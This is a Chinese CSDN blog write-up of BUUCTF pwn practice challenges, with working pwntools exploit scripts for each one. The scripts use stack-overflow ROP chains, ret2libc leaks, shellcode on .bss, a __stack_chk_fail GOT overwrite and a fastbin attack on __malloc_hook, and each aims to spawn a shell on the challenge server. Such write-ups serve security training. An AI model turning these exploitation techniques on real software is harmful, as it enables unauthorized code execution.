BUUCTF-pwn(3)

最新推荐文章于 2023-03-04 17:50:15 发布
最新推荐文章于 2023-03-04 17:50:15 发布
阅读量666 收藏 1
点赞数
分类专栏： 快乐学习pwn 文章标签： pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/njh18790816639/article/details/121176596
版权

[HarekazeCTF2019]baby_rop

该题还是比较简单的，没有什么难点！先探测一波保护！
在这里插入图片描述
在这里插入图片描述
并且还发现了字符串！
在这里插入图片描述
在这里插入图片描述
然后我们就可以开始构造payload了！
payload = b’a’*(0x10+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
在这里插入图片描述

jarvisoj_level2_x64

这道题目过于简单，所以就不再分析了，直接上脚本！
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='x86-64')

r = remote('node4.buuoj.cn',28323)
#r = process('./level_x64')
elf = ELF('./level2_x64')
system_addr = elf.symbols['system']
bin_sh = 0x0600A90
pop_rdi = 0x04006b3

payload = b'a'*(0x80+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(0)
r.sendline(payload)

r.interactive()

ciscn_2019_n_5

在这里插入图片描述
然后使用ida进行分析一波！
在这里插入图片描述
在字符段上没有找到/bin/sh特殊字符串，所以猜测需要泄露libc！
这里写出一个泄露脚本，但是泄露出38个libc，比较多！

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='x86-64')

#r = remote('')
r = process('./ciscn_2019_n_5')
elf = ELF('./ciscn_2019_n_5')

main = 0x0400636
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400713

def begin():
    r.recvuntil("tell me your name\n")
    r.sendline('100')
    r.recvuntil("What do you want to say to me?")

begin()
payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

puts_addr = u64(r.recvuntil('\n').ljust(8,b'\0'))
print(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

begin()
payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
r.sendline(payload)

r.interactive()

但是我们有更优选择！便是往bss段上写入shellcode，然后通过栈溢出返回到bss段上！
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',25666)
#r = process('./ciscn_2019_n_5')
elf = ELF('./ciscn_2019_n_5')

bss = 0x0601080

r.recvuntil("tell me your name\n")
shellcode = asm(shellcraft.sh())
r.sendline(shellcode)

r.recvuntil("What do you want to say to me?\n")
payload = b'a'*(0x20+0x8)+p64(bss)
r.sendline(payload)

r.interactive()

others_shellcode

在这里插入图片描述
该题目直接nc即可取得shell！原因如下图所示！
在这里插入图片描述

ciscn_2019_ne_5

ida反编译失败时，根据提示

Decompilation failure:8048801: call analysis failed
Please refer to the manual to find appropriate actions

对8048801该处进行手动反编译，此时main函数就可以反编译了！
在这里插入图片描述
对main函数大致分析一下！
该题目是栈溢出的菜单题，需要考虑的比较多一点！

最后发现其实我想的有些问题，而且像复杂了，其实没有那么复杂！
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',26389)
#r = process('./ciscn_2019_ne_5')
elf = ELF('./ciscn_2019_ne_5')

system = elf.symbols['system']
sh = 0x080482ea

def choose(flag):
    r.recvuntil("0.Exit\n:")
    r.sendline(flag)

r.recvuntil("Please input admin password:")
r.sendline("administrator")
choose('1')
r.recvuntil("Please input new log info:")
payload = b'a'*(0x48+0x4)+p32(system)+p32(0xdeadbeef)+p32(sh)
r.sendline(payload)
choose('4')

r.interactive()

铁人三项(第五赛区)_2018_rop

简单的分析一番！
在这里插入图片描述
还是比较简单ret2libc的！
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',27826)
#r = process('./2018_rop')
elf = ELF('./2018_rop')

main = 0x080484C6
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*(0x88+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(0x4)
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

payload = b'a'*(0x88+0x4)+p32(system)+p32(0)+p32(bin_sh)
r.sendline(payload)

r.interactive()

bjdctf_2020_babyrop

这道题目依旧是个ret2libc的题目，还是比较简单！
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',26326)
#r = process()
elf = ELF('./bjdctf_2020_babyrop')

main = 0x04006AD
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400733

r.recvuntil("Pull up your sword and tell me u story!\n")
payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.sendline(payload)
#r.recv()
puts_addr = u64(r.recv(6).ljust(8,b'\0'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
r.recvuntil("Pull up your sword and tell me u story!\n")
r.sendline(payload)

r.interactive()

bjdctf_2020_babystack2

通过ida进行一定的分析！
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',29066)

backdoor = 0x0400726

r.recvuntil("[+]Please input the length of your name:\n")
r.sendline('-32767')
payload = b'a'*(0x10+0x8)+p64(backdoor)
r.recvuntil("[+]What's u name?\n")
r.sendline(payload)

r.interactive()

bbbaby(陇原战)

该题目还是有点稍稍技巧的！
在这里插入图片描述
但是该题目有两个漏洞！
在这里插入图片描述
这里我们首先想到的便是泄露出canary的值，但是并没有格式化字符串漏洞，和打印函数来供我们利用！所以我们便可以劫持___stack_chk_fail函数的got表，此时canary保护措施便失败了，此时我们再ret2libc即可！
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',29170)
elf = ELF('./pwn1')

stack_chk = elf.got['__stack_chk_fail']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x040090B
pop_rdi = 0x0400a03

def addressWrite(address,content):
    r.recvuntil("your choice\n")
    r.sendline('0')
    r.recvuntil("address:\n")
    r.sendline(str(address))
    r.recvuntil("content:\n")
    r.send(content)

def stackOver(content):
    r.recvuntil("your choice\n")
    r.sendline('1')
    r.recvuntil("size:\n")
    r.sendline(str(len(content)))
    r.recvuntil("content:\n")
    r.send(content)

def exit():
    r.recvuntil("your choice\n")
    r.sendline('2')


addressWrite(stack_chk,p64(puts_plt))
payload = b'a'*(0x110-0x8)+b'\0'*0x8+b'b'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
stackOver(payload)
exit()
r.recvline()
puts_addr = u64(r.recvuntil('\x7f').ljust(8,b'\0'))
log.info("puts_address -> "+hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system  = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

payload = b'a'*(0x110+0x08)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(main)
stackOver(payload)
exit()

r.interactive()

jarvisoj_fm

该题目是个简单的格式化字符串漏洞！
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',29724)
#r = process('./fm')
target = 0x0804A02C
offset = 11

payload = fmtstr_payload(offset,{target:4})
#payload = p32(x)+b'%11$n'
r.sendline(payload)

r.interactive()

babyheap_0ctf_2017

是一道堆溢出的菜单题！
在这里插入图片描述
可以发现逻辑比较简单！
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
整体的逻辑整理如上！
在这里插入图片描述
----------------------------------->
下载patchelf
git clone https://github.com/NixOS/patchelf

下载glibc-all-in_one
git clone https://github.com/matrix1001/glibc-all-in-one
----------------------------------->

patchelf基本的两种用法！

patchelf --replace-needed ldd显示的libc 你要换的libc的硬路径 ./文件名
patchelf --set-interpreter ld的硬路径 ./文件名

在这里插入图片描述
此时我们便可以使用pwndbg进行调试了！
但是出错了，因为我们没有debug调试文件，这意味着我们无法查看libc的内部结构，即无法使用heap，bins等命令，所以我们可以使用glibc-all-in_one该功能，下载的libc中带有debug文件！

所以需要设置debug文件

set debug-file-directory debug文件所在绝对目录

此时gdb就成功加载了debug调试文件！

大致思路如下:

  1. 首先申请4块0x10size的chunk与1块0x80size的chunk
  2. free掉index为1和2的chunk
  3. 利用堆溢出漏洞将index为2的fb指针指向index为4的chunk
  4. 修改index为4的chunk的size为0x21，此时top chunk便无法识别出来，故后期我们应重新将size修改为0x91
  5. 重新申请两个大小为0x10的chunk，此时index为2和4指向同一个chunk
  6. 此时我们将index为2(4)的size修改为0x91，这是top chunk重新识别到，重新申请一个0x80size的chunk，防止top chunk对index为4的chunk进行合并
  7. free掉index为4的chunk，此时该chunk被放入unsortbin中，此时fd与bk指向main_arena，我们便利用index为2的chunk打印出main_arena的地址，注意，这里的地址与main_arena的偏移量为0x58，与libc的基址的偏移量为0x58+0x3c4b20。故此时可以计算出libc的地址
  8. 重新申请一个0x60size的chunk，这里便从unsortbin中进行切分，留下了0x21的unsortbin
  9. 然后free掉index为4的chunk，利用index为2的chunk修改index为4的chunk的fd指针指向__malloc_hook-0x33的地方
  10. 此时重新申请两个0x60的chunk，故index为6的chunk实际地址为__malloc_hook-0x33
  11. 写入index为6的chunk数据修改__malloc_hook的地址为one_gadget地址
  12. 然后我们重新申请一个chunk，便会引用__malloc_hook函数，也就是one_gadge!
unsortbin 有一个特性，就是如果 usortbin 只有一个 bin ，它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部），这个地址为 main_arena + 0x58 ，而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ，
所以我们得到fd的值，然后再减去0x58再减去main_arena相对于libc的固定偏移，即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小，这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。

查看的__malloc_hook的地址情况！
在这里插入图片描述
运行脚本后查看一下__malloc_hook的情况，发现成功写入！
在这里插入图片描述

EXP

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

#r = remote('node4.buuoj.cn',28410)
r = process('./babyheap_0ctf_2017')
elf = ELF('./babyheap_0ctf_2017')


def Allocate(size):
    r.sendlineafter("Command: ",'1')
    r.sendlineafter("Size: ",str(size))

def Fill(index,payload):
    r.sendlineafter("Command: ",'2')
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Size: ",str(len(payload)))
    r.sendlineafter("Content: ",payload)

def Free(index):
    r.sendlineafter("Command: ",'3')
    r.sendlineafter("Index: ",str(index))

def Dump(index):
    r.sendlineafter("Command: ",'4')
    r.sendlineafter("Index: ",str(index))


Allocate(0x10)
Allocate(0x10)
Allocate(0x10)
Allocate(0x10)
Allocate(0x80)
Free(1)
Free(2)

payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
Fill(0,payload)
payload = p64(0)*3+p64(0x21)
Fill(3,payload)

Allocate(0x10)
Allocate(0x10)

payload = p64(0)*3+p64(0x91)
Fill(3,payload)

Allocate(0x80)
Free(4)

Dump(2)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\0'))-0x58
libc_base = main_arena-0x3c4b20
log.info("main_arena -> "+hex(main_arena))
log.info("libc_bsae -> "+hex(libc_base))

Allocate(0x60)
Free(4)
payload = p64(main_arena-0x33)
log.info('payload -> '+str(payload))
Fill(2,payload)
#print(hex(libc_base+0x3c4aed))
log.info("main_arena-0x33 -> "+hex(main_arena-0x33))
Allocate(0x60)
Allocate(0x60)
one_gadget = libc_base+0x4526a#0x4527a
log.info("one_gadget -> "+hex(one_gadget))
payload = b'a'*(0x13)+p64(one_gadget)
Fill(6,payload)
Allocate(0x60)

#gdb.attach(r)

r.interactive()

在这里插入图片描述

四代机您发多少
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BUUCTF-PWN-[ZJCTF 2019]Login
07-10
BUUCTF-PWN-[ZJCTF 2019]Login
CTF buuoj pwn-----第3题:warmup_csaw_2016
bing_Max的博客
08-29 1632
CTF buuoj pwn-----第3题:warmup_csaw_2016前言一、pandas是什么？二、使用步骤1.引入库2.读入数据总结前言一、pandas是什么？二、使用步骤1.引入库2.读入数据总结创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技
BUUCTF刷题3
m0_51251108的博客
05-26 2729
题目：pwnable_start:wustctf2020_closed：hitcontraining_heapcreator：0ctf_2017_babyheap：ciscn_2019_es_7：jarvisoj_level5：hitcontraining_bamboobox： pwnable_start: 关键词： 汇编，泄露ebp，调试 思路： 1.查看汇编代码得知题目信息，发现read处可0x14后可溢出 2.依靠其中的write，是根据esp来确定打印addr，选择覆盖ret地址为write那里，便
[BUUCTF]PWN——bjdctf_2020_babyrop2
mcmuyanga的博客
11-05 1175
bjdctf_2020_babyrop2 附件 步骤： 例行检查，64位程序，开启了NX和canary保护 2. 试运行一下程序，看看大概的情况 提示我们去泄露libc 3. 64位ida载入,从main函数开始看程序 init gift 第9行的printf函数存在格式化字符串漏洞，可以利用这点去泄露canary的值 vuln buf参数存在溢出漏洞，只要绕过了canary就能够利用ret2libc的方法获取shell 利用思路： 利用格式化字符串泄露出canary的值 利用溢出漏洞，
持续更新 BUUCTF——PWN（三）
weixin_41748164的博客
03-04 810
这只是个人笔记，buuctf的刷题的第三篇，欢迎一起讨论重新搭建一个合适pwn环境：https://blog.csdn.net/weixin_41748164/article/details/127874334buuctf的前两页：https://blog.csdn.net/weixin_41748164/article/details/126325515。
[BUUCTF-pwn] wdb_2018_final_pwn3
weixin_52640415的博客
12-16 317
一个栈溢出的题，没开PIE 程序先打开随机数发生器，读入然后加密，与输入的对比，不同时可输入0x400数据（溢出）相同则跳出循环。 fd = open("/dev/urandom", 0); while ( 1 ) { puts("\nFind a MD5 hash collision!"); printf("target: "); read(fd, buf, 0x3FFuLL); crypto(buf, 0x64uLL, (__int64)s2);
mqtt-pwn:MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式服务
05-02
MQTT-PWN MQTT是一种机器对机器的连接协议，被设计为一种极其轻量级的发布/订阅消息传递，并已被全球数百万个IoT设备广泛使用。 MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式商店，因为它结合了枚举...
Wi-PWN_8.0_ENGLISH.bin
08-25
ESP8266的WIFI杀手固件，这是不带显示的。 我后续更新带OLED显示的固件。教程后将更新。
Wi-PWN_8.0_ENGLISH_OLED.bin
08-25
这是ESP8266的带OLED显示的WIFI杀手固件。
CSAWCTF-2018-pwn-shellcode|CSAWCTF-2018-pwn-shellcode
12-10
CSAWCTF 2018年pwn题 shellcode 变形shellcode练手题目，该题目主要是利用三个节点来注入shellcode，考验解题人对shellcode的熟悉程度。题解：https://blog.csdn.net/A951860555/article/details/110350773
pwn7第七关
qq_18823653的博客
04-03 381
前面几个懒得写了，直接第七个吧，溢出点和前面一样get()函数，112字节，保护只开了NX程序本身没有system(),也没有/bin/sh，且栈不可执行，用ROPgadget也没找到有用的语句，但是程序是动态链接的，运行时会加载so库，可以用put()泄露出put的真实地址，又因为ASLR随机化不了地址底12位，可以用put真实地址的底12位查询加载的那个版本的libc.so，以及确定libc的...
IOT初尝试(PLC NOE-771)
njh18790816639的博客
03-22 4421
过binwalk -A指令来对固件的CPU架构进行分析，此外也可以用binwalk -Y指令来调用capstone反汇编引擎来进行辅助判断，不过我实际测试下来存在一些误报的情况会把NOE 711的固件识别成arm架构的。
BUUCTF-pwn(14)
njh18790816639的博客
01-23 3481
gwctf_2019_jiandan_pwn1 简单ret2libc，唯一需要注意的便是注意修改索引值，防止索引被覆盖！从而无法进行栈溢出！ from pwn import * from LibcSearcher import LibcSearcher context(os='linux',arch='amd64',log_level='debug') binary = './pwn' r = remote('node4.buuoj.cn',25586) #r = process(binary) elf
BUUCTF-pwn(6)
njh18790816639的博客
11-30 3046
wustctf2020_getshell 现在还有这种简单题吗？？？ picoctf_2018_buffer overflow 1 没想到还有这么简单的题！ 并发现了后门函数！ cmcc_simplerop 函数逻辑比较简单。 这里经过调试，发现padding为0x20 寻找一些又用的gadget。 使用SROP来进行攻击！ from pwn import * context(log_level='debug',os='linux',arch='i386') r = remote('
BUUCTF-pwn(12)
njh18790816639的博客
01-13 2861
[极客大挑战 2019]Not Bad orw类型，打开文件，读入内容，输出内容！但需要注意gadget！ from pwn import * context(log_level='debug',os='linux',arch='amd64') binary = './bad' r = remote('node4.buuoj.cn',29934) #r = process(binary) elf = ELF(binary) mnap = 0x123000 jmp_rsp = 0x0400a01 r.r
BUUCTF-pwn(11)
njh18790816639的博客
01-09 2703
mrctf2020_easy_equation 简单的栈溢出漏洞，格式化字符串漏洞！此处采用栈溢出漏洞！ axb_2019_fmt64 经典循环格式化字符串64位漏洞！ 唯一注意的地方pwntools的FmtStr_payload无法成功获取权限！需要手动计算字节进行攻击！ from elftools.construct.macros import Padding from pwn import * from LibcSearcher import * context(log_level='debu
BUUCTF-pwn(15)
njh18790816639的博客
02-13 2661
gyctf_2020_some_thing_interesting 经典UAF漏洞！ Allocate申请函数！ Free释放函数！ 全保护开启，故我们利用格式化字符串漏洞泄露libc地址，从而得到malloc_hook地址。然后利用UAF漏洞修改malloc_hook为one_gadget，此时进行申请操作便可获取权限！ from pwn import * context(log_level='debug',os='linux',arch='amd64') binary = './gyctf_2
BUUCTF-pwn(7)
njh18790816639的博客
12-19 1760
ret2dl_resolve _dl_runtime_resolve()通过两个参数在libc中寻找函数地址，而我们更加关注的是第二个参数也就是上面write的0x20，0x20将_dl_runtime_resolve()带到了reloc的位置，reloc中有2个重要信息，一个是函数的got表地址，另一个是r_info。r_info的高位是.dynsym中的条目，.dynsym的地址加上0x10*Num，得到函数对应的符号信息，而修改其中的st_name偏移，就可以伪造函数名称，从而实现漏洞利用，我们将其
攻防世界pwn新手题wp（通俗易懂）
njh18790816639的博客
03-10 1711
get_shell 这道题先看看附件，探查一下信息，再用ida打开，就可以发现伪代码其实很简单的： 然后在远程连接这个端口进行攻击了。 并且我们能看到它的大致防护信息，然后来个脚本： 此时就可以进行攻击了。 这样子flag就拿到了。 CGfsb 刚开始先在windows里进行一番静态调试： 大概的知道了一些漏洞，和一点信息，我们就可以进行破解了。 ...
mqtt-pwn安装
最新发布
09-20
安装mqtt-pwn的步骤如下： 1. 克隆mqtt-pwn仓库：使用命令`git clone https://github.com/akamai-threat-research/mqtt-pwn.git`将mqtt-pwn仓库克隆到本地。 2. 进入mqtt-pwn目录：使用命令`cd mqtt-pwn`进入mqtt-pwn所在的目录。 3. 启动mqtt-pwn容器：使用命令`sudo docker-compose up --build --detach`启动mqtt-pwn容器。 另外，您还需要安装以下软件： 1. 安装pwntools：使用命令`python3 -m pip install --upgrade pwntools`来安装并更新pwntools。 2. 安装mosquitto程序和mosquitto-clients客户端程序：使用命令`sudo apt install mosquitto`和`sudo apt install mosquitto-clients`来安装mosquitto程序和mosquitto-clients客户端程序。 请注意，以上步骤假设您已经在Linux环境下进行操作。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值